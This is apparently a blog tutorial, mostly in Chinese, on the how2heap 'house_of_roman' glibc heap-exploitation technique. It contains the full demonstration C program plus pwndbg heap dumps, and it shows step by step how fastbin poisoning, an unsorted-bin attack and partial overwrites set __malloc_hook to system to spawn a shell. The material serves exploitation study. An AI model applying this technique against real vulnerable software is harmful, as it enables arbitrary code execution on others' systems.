junh00🌈

Heap Exploitation - how2heap house_of_roman

house_of_roman

该程序涉及到的攻击方法可以绕过ASLR,并且没有地方leak libc地址时候。整个程序被分为5个步骤:

int main(){
    init();

// 1
    puts("Step 1: Point fastbin chunk to __malloc_hook\n\n");
    puts("Setting up chunks for relative overwrites with heap feng shui.\n");

    // Use this as the UAF chunk later to edit the heap pointer later to point to the LibC value. 
    uint8_t* fastbin_victim = malloc(0x60); 

    // Allocate this in order to have good alignment for relative 
    // offsets later (only want to overwrite a single byte to prevent 
    // 4 bits of brute on the heap).
    malloc(0x80);

    // Offset 0x100
    uint8_t* main_arena_use = malloc(0x80);

    // Offset 0x190
    // This ptr will be used for a relative offset on the 'main_arena_use' chunk
    uint8_t* relative_offset_heap = malloc(0x60);

    // Free the chunk to put it into the unsorted_bin. 
    // This chunk will have a pointer to main_arena + 0x68 in both the fd and bk pointers.
    free(main_arena_use);

// 2
    puts("Allocate chunk that has a pointer to LibC main_arena inside of fd ptr.\n");
    //Offset 0x100. Has main_arena + 0x68 in fd and bk.
    uint8_t* fake_libc_chunk = malloc(0x60);

    //// NOTE: This is NOT part of the exploit... \\\
    // The __malloc_hook is calculated in order for the offsets to be found so that this exploit works on a handful of versions of GLibC. 
    long long __malloc_hook = ((long*)fake_libc_chunk)[0] - 0xe8;


    // We need the filler because the overwrite below needs 
    // to have a ptr in the fd slot in order to work. 
    //Freeing this chunk puts a chunk in the fd slot of 'fastbin_victim' to be used later. 
    free(relative_offset_heap); 

    puts("\
    Overwrite the first byte of a heap chunk in order to point the fastbin chunk\n\
    to the chunk with the LibC address\n");
    puts("\
    Fastbin 0x70 now looks like this:\n\
    heap_addr -> heap_addr2 -> LibC_main_arena\n");
    fastbin_victim[0] = 0x00; // The location of this is at 0x100. But, we only want to overwrite the first byte. So, we put 0x0 for this.

// 3
    puts("\
    Use a relative overwrite on the main_arena pointer in the fastbin.\n\
    Point this close to __malloc_hook in order to create a fake fastbin chunk\n");
    long long __malloc_hook_adjust = __malloc_hook - 0x23; // We substract 0x23 from the malloc because we want to use a 0x7f as a valid fastbin chunk size.

    // The relative overwrite
    int8_t byte1 = (__malloc_hook_adjust) & 0xff;  
    int8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8; 
    fake_libc_chunk[0] = byte1; // Least significant bytes of the address.
    fake_libc_chunk[1] = byte2; // The upper most 4 bits of this must be brute forced in a real attack.

    // Two filler chunks prior to the __malloc_hook chunk in the fastbin. 
    // These are fastbin_victim and fake_libc_chunk.
    puts("Get the fake chunk pointing close to __malloc_hook\n");
    puts("\
    In a real exploit, this would fail 15/16 times\n\
    because of the final half byet of the malloc_hook being random\n"); 
    malloc(0x60);
    malloc(0x60);

    // If the 4 bit brute force did not work, this will crash because 
    // of the chunk size not matching the bin for the chunk. 
    // Otherwise, the next step of the attack can begin.
    uint8_t* malloc_hook_chunk = malloc(0x60); 

    puts("Passed step 1 =)\n\n\n");

    puts("\
    Start Step 2: Unsorted_bin attack\n\n\
    The unsorted bin attack gives us the ability to write a\n\
    large value to ANY location. But, we do not control the value\n\
    This value is always main_arena + 0x68. \n\
    We point the unsorted_bin attack to __malloc_hook for a \n\
    relative overwrite later.\n");

// 4
    // Get the chunk to corrupt. Add another ptr in order to prevent consolidation upon freeing.

    uint8_t* unsorted_bin_ptr = malloc(0x80); 
    malloc(0x30); // Don't want to consolidate

    puts("Put chunk into unsorted_bin\n");
    // Free the chunk to create the UAF
    free(unsorted_bin_ptr);

    /* /// NOTE: The last 4 bits of byte2 would have been brute forced earlier. \\\ 
    However, for the sake of example, this has been calculated dynamically. 
    */
    __malloc_hook_adjust = __malloc_hook - 0x10; // This subtract 0x10 is needed because of the chunk->fd doing the actual overwrite on the unsorted_bin attack.
    byte1 = (__malloc_hook_adjust) & 0xff;  
    byte2 = (__malloc_hook_adjust & 0xff00) >> 8; 


    // Use another relative offset to overwrite the ptr of the chunk->bk pointer.
    // From the previous brute force (4 bits from before) we 
    // know where the location of this is at. It is 5 bytes away from __malloc_hook.
    puts("Overwrite last two bytes of the chunk to point to __malloc_hook\n");
    unsorted_bin_ptr[8] = byte1; // Byte 0 of bk.  

    // //// NOTE: Normally, the second half of the byte would HAVE to be brute forced. However, for the sake of example, we set this in order to make the exploit consistent. ///
    unsorted_bin_ptr[9] = byte2; // Byte 1 of bk. The second 4 bits of this was brute forced earlier, the first 4 bits are static.

    puts("Trigger the unsorted_bin attack\n");
    malloc(0x80); // Trigger the unsorted_bin attack to overwrite __malloc_hook with main_arena + 0x68

    long long system_addr = (long long)dlsym(RTLD_NEXT, "system");

    puts("Passed step 2 =)\n\n\n");
    /* 
    Step 3: Set __malloc_hook to system

    The chunk itself is allocated 19 bytes away from __malloc_hook. 
    So, we use a realtive overwrite (again) in order to partially overwrite 
    the main_arena pointer (from unsorted_bin attack) to point to system.

    In a real attack, the first 12 bits are static (per version). 
    But, after that, the next 12 bits must be brute forced. 

    /// NOTE: For the sake of example, we will be setting these values, instead of brute forcing them. \\\
    */ 
// 5
    puts("Step 3: Set __malloc_hook to system/one_gadget\n\n");
    puts("\
    Now that we have a pointer to LibC inside of __malloc_hook (from step 2), \n\
    we can use a relative overwrite to point this to system or a one_gadget.\n\
    Note: In a real attack, this would be where the last 8 bits of brute forcing\n\
    comes from.\n");
    malloc_hook_chunk[19] = system_addr & 0xff; // The first 12 bits are static (per version).

    malloc_hook_chunk[20] = (system_addr >> 8) & 0xff;  // The last 4 bits of this must be brute forced (done previously already).
    malloc_hook_chunk[21] = (system_addr >> 16) & 0xff;  // The last byte is the remaining 8 bits that must be brute forced.
    malloc_hook_chunk[22] = (system_addr >> 24) & 0xff; // If the gap is between the data and text section is super wide, this is also needed. Just putting this in to be safe.

    puts("Pop Shell!");
    malloc((long long)shell);
}

第一步主要准备好之后要利用的几个chunk,free了其中一个插入unsortedbin。

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x71

Allocated chunk | PREV_INUSE
Addr: 0x603070
Size: 0x91

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x603100
Size: 0x91
fd: 0x7ffff7bcdb78
bk: 0x7ffff7bcdb78

Allocated chunk
Addr: 0x603190
Size: 0x70

Top chunk | PREV_INUSE
Addr: 0x603200
Size: 0x20e01

第二步通过UAF来获取libc地址

pwndbg> x/4gx fake_libc_chunk 
0x603110: 0x00007ffff7bcdbf8 0x00007ffff7bcdbf8
0x603120: 0x0000000000000000 0x0000000000000000

然后通过两次free在fastbin 0x70的位置插入两个chunk,这步是为了将fake_libc_chunk插入fastbin做准备。

pwndbg> x/x __malloc_hook
0x7ffff7bcdb10 <__malloc_hook>: 0x0000000000000000
pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x603000 —▸ 0x603190 ◂— 0x0

此时bin的布局如下:

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x603000 —▸ 0x603190 ◂— 0x0
0x80: 0x0
unsortedbin
all: 0x603170 —▸ 0x7ffff7bcdb78 (main_arena+88) ◂— 0x603170 /* 'p1`' */
smallbins
empty
largebins

通过修改fastbin_victim->fd的低字节,把fake_libc_chunk插入fastbin:

pwndbg> x/x fake_libc_chunk 
0x603110: 0x00007ffff7bcdbf8

pwndbg> x/x fastbin_victim 
0x603010: 0x0000000000603190

pwndbg> fastbins 
fastbins
...
0x60: 0x0
0x70: 0x603000 —▸ 0x603100 —▸ 0x7ffff7bcdbf8 (main_arena+216) ◂— 0x7ffff7bcdbf8

第三步,获取malloc_hook - 0x23的位置,因为这里可以构成一个0x7f大小的chunk,为了之后链入fastbin。

pwndbg> x/4gx __malloc_hook - 0x23
0x7ffff7bcdaed <_IO_wide_data_0+301>: 0xfff7bcc260000000 0x000000000000007f
0x7ffff7bcdafd: 0xfff788eea0000000 0xfff788ea7000007f

使fake_libc_chunk[0]指向__malloc_hook_adjust,修改低2个字节,其中db中的b真实情况下需要brute force,1/16成功率。

#修改前:
pwndbg> x/x __malloc_hook_adjust 
0x7ffff7bcdaed <_IO_wide_data_0+301>: 0xfff7bcc260000000
pwndbg> x/4gx fake_libc_chunk 
0x603110: 0x00007ffff7bcdbf8 0x00007ffff7bcdbf8

#修改后:
pwndbg> x/4gx fake_libc_chunk 
0x603110: 0x00007ffff7bcdaed 0x00007ffff7bcdbf8

此时,malloc_hook_chunk已被链入fastbin。经过malloc两次,第三次取出刚才伪造的chunk:

pwndbg> x/4gx malloc_hook_chunk - 0x10
0x7ffff7bcdaed <_IO_wide_data_0+301>: 0xfff7bcc260000000 0x000000000000007f
0x7ffff7bcdafd: 0xfff788eea0000000 0xfff788ea7000007f

第四步主要是通过unsortedbin attack来改写malloc_hook,使其指向main_arena+88。因为system地址与main_arena+88只有最开始的12个bit有差别,所以先获取大致的地址,后续再通过malloc_hook_chunk来改写这12bit。

pwndbg> x/4gx unsorted_bin_ptr - 0x10
0x603200: 0x0000000000000000 0x0000000000000091
0x603210: 0x0000000000000000 0x0000000000000000

# After free
unsortedbin
all: 0x603200 —▸ 0x7ffff7bcdb78 (main_arena+88) ◂— 0x603200

获取__malloc_hook - 0x10的地址,插入unsorted_bin_ptr->bk的位置。

pwndbg> x/2gx unsorted_bin_ptr 
0x603210: 0x00007ffff7bcdb78 0x00007ffff7bcdb00

malloc后__malloc_hook指向main_arena+880x00007ffff7bcdb78的位置。

pwndbg> x/x __malloc_hook
0x7ffff7bcdb10 <__malloc_hook>: 0x00007ffff7bcdb78"

最后,由于__malloc_hook_chunk__malloc_hook目前是重叠的两块内存,所以可以通过修改__malloc_hook_chunk来修改__malloc_hook的地址,使其指向one_gadget。

pwndbg> p/x system_addr 
$2 = 0x7ffff784e3a0

pwndbg> x/10gx malloc_hook_chunk
0x7ffff7bcdafd: 0xfff788eea0000000 0xfff788ea7000007f
0x7ffff7bcdb0d <__realloc_hook+5>: 0xfff784e3a000007f 0x000000000000007f

pwndbg> x/x __malloc_hook
0x7ffff7bcdb10 <__malloc_hook>: 0x00007ffff784e3a0

最后调用malloc触发malloc_hook,调用system函数。

Reference

house_of_roman

house_or_roman实战